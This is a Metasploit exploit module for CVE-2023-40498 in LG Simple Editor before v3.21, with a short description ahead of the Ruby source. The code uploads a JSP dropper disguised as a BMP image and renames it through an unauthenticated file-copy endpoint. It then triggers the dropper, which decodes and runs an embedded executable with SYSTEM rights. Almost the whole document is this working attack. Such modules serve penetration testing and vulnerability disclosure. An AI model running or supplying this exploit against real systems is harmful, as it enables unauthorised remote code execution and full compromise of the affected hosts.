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LG Simple Editor Remote Code Execution
This Metasploit module exploits broken access control and directory traversal vulnerabilities in LG Simple Editor software for gaining code execution. The vulnerabilities exist in versions of LG Simple Editor prior to v3.21. By exploiting this flaw, an attacker can upload and execute a malicious JSP payload with the SYSTEM user permissions.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper # includes register_files_for_cleanup prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'LG Simple Editor Remote Code Execution', 'Description' => %q{ This Metasploit module exploits broken access control and directory traversal vulnerabilities in LG Simple Editor software for gaining code execution. The vulnerabilities exist in versions of LG Simple Editor prior to v3.21. By exploiting this flaw, an attacker can upload and execute a malicious JSP payload with the SYSTEM user permissions. }, 'License' => MSF_LICENSE, 'Author' => [ 'rgod', # Vulnerability discovery 'Ege Balcı <[email protected]>' # msf module ], 'References' => [ ['ZDI', '23-1204'], ['CVE', '2023-40498'] ], 'DefaultOptions' => { 'WfsDelay' => 5 }, 'Platform' => %w[win], 'Arch' => [ARCH_X86, ARCH_X64], 'Privileged' => true, 'Targets' => [ ['LG Simple Editor <= v3.21', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2023-08-24', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK] } ) ) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'The URI of the LG Simple Editor', '/']) ] ) end def check res = send_request_cgi( { 'method' => 'GET', 'uri' => normalize_uri(target_uri, 'simpleeditor', 'common', 'commonReleaseNotes.do') } ) return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil? version = Rex::Version.new(res.get_html_document.xpath('//h2')[0]&.text&.gsub('v', '')) return Exploit::CheckCode::Unknown if version.nil? || version == 'Unknown' return Exploit::CheckCode::Appears("Version: #{version}") if version <= Rex::Version.new('3.21.0') Exploit::CheckCode::Safe end def generate_jsp_payload exe = generate_payload_exe base64_exe = Rex::Text.encode_base64(exe) payload_name = rand_text_alpha(rand(3..8)) var_raw = 'a' + rand_text_alpha(rand(3..10)) var_ostream = 'b' + rand_text_alpha(rand(3..10)) var_buf = 'c' + rand_text_alpha(rand(3..10)) var_decoder = 'd' + rand_text_alpha(rand(3..10)) var_tmp = 'e' + rand_text_alpha(rand(3..10)) var_path = 'f' + rand_text_alpha(rand(3..10)) var_proc2 = 'e' + rand_text_alpha(rand(3..10)) jsp = %| <%@page import="java.io.*" %> <%@page import="sun.misc.BASE64Decoder"%> <% try { String #{var_buf} = "#{base64_exe}"; BASE64Decoder #{var_decoder} = new BASE64Decoder(); byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); File #{var_tmp} = File.createTempFile("#{payload_name}", ".exe"); String #{var_path} = #{var_tmp}.getAbsolutePath(); BufferedOutputStream #{var_ostream} = new BufferedOutputStream(new FileOutputStream(#{var_path})); #{var_ostream}.write(#{var_raw}); #{var_ostream}.close(); Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path}); } catch (Exception e) { } %> | jsp.gsub!(/[\n\t\r]/, '') jsp end def copy_file(src, dst) data = { command: 'cp', option: '-f', srcPath: src, destPath: dst } res = send_request_cgi( { 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'simpleeditor', 'fileSystem', 'makeDetailContent.do'), 'headers' => { 'X-Requested-With' => 'XMLHttpRequest', 'Accept' => 'application/json' }, 'ctype' => 'application/json', 'data' => data.to_json } ) if res && res.code == 200 && res.body.to_s.include?('errorMessage":"success",') print_good "#{src} -> #{dst} copy successfull." else fail_with(Failure::UnexpectedReply, "#{peer} - Could not copy the payload.") end end def exploit rand_name = Rex::Text.rand_text_alpha(5) form = Rex::MIME::Message.new form.add_part( generate_jsp_payload, 'image/bmp', 'binary', "form-data; name=\"uploadFile\"; filename=\"#{rand_name}.bmp\"" ) form.add_part('/', nil, nil, 'form-data; name="uploadPath"') form.add_part('-1000', nil, nil, 'form-data; name="uploadFile_x"') form.add_part('-1000', nil, nil, 'form-data; name="uploadFile_y"') form.add_part('1920', nil, nil, 'form-data; name="uploadFile_width"') form.add_part('1080', nil, nil, 'form-data; name="uploadFile_height"') print_status 'Uploading JSP payload...' res = send_request_cgi( { 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'simpleeditor', 'imageManager', 'uploadImage.do'), 'ctype' => "multipart/form-data; boundary=#{form.bound}", 'data' => form.to_s } ) if res && res.code == 200 print_good 'Payload uploaded successfully' else fail_with(Failure::UnexpectedReply, "#{peer} - Payload upload failed") end # Now we copy our payload as JSP copy_file("/#{rand_name}_original.bmp", "/#{rand_name}.jsp") register_files_for_cleanup("./webapps/simpleeditor/#{rand_name}.jsp") print_status 'Triggering payload...' send_request_cgi( { 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'simpleeditor', "#{rand_name}.jsp") } ) endend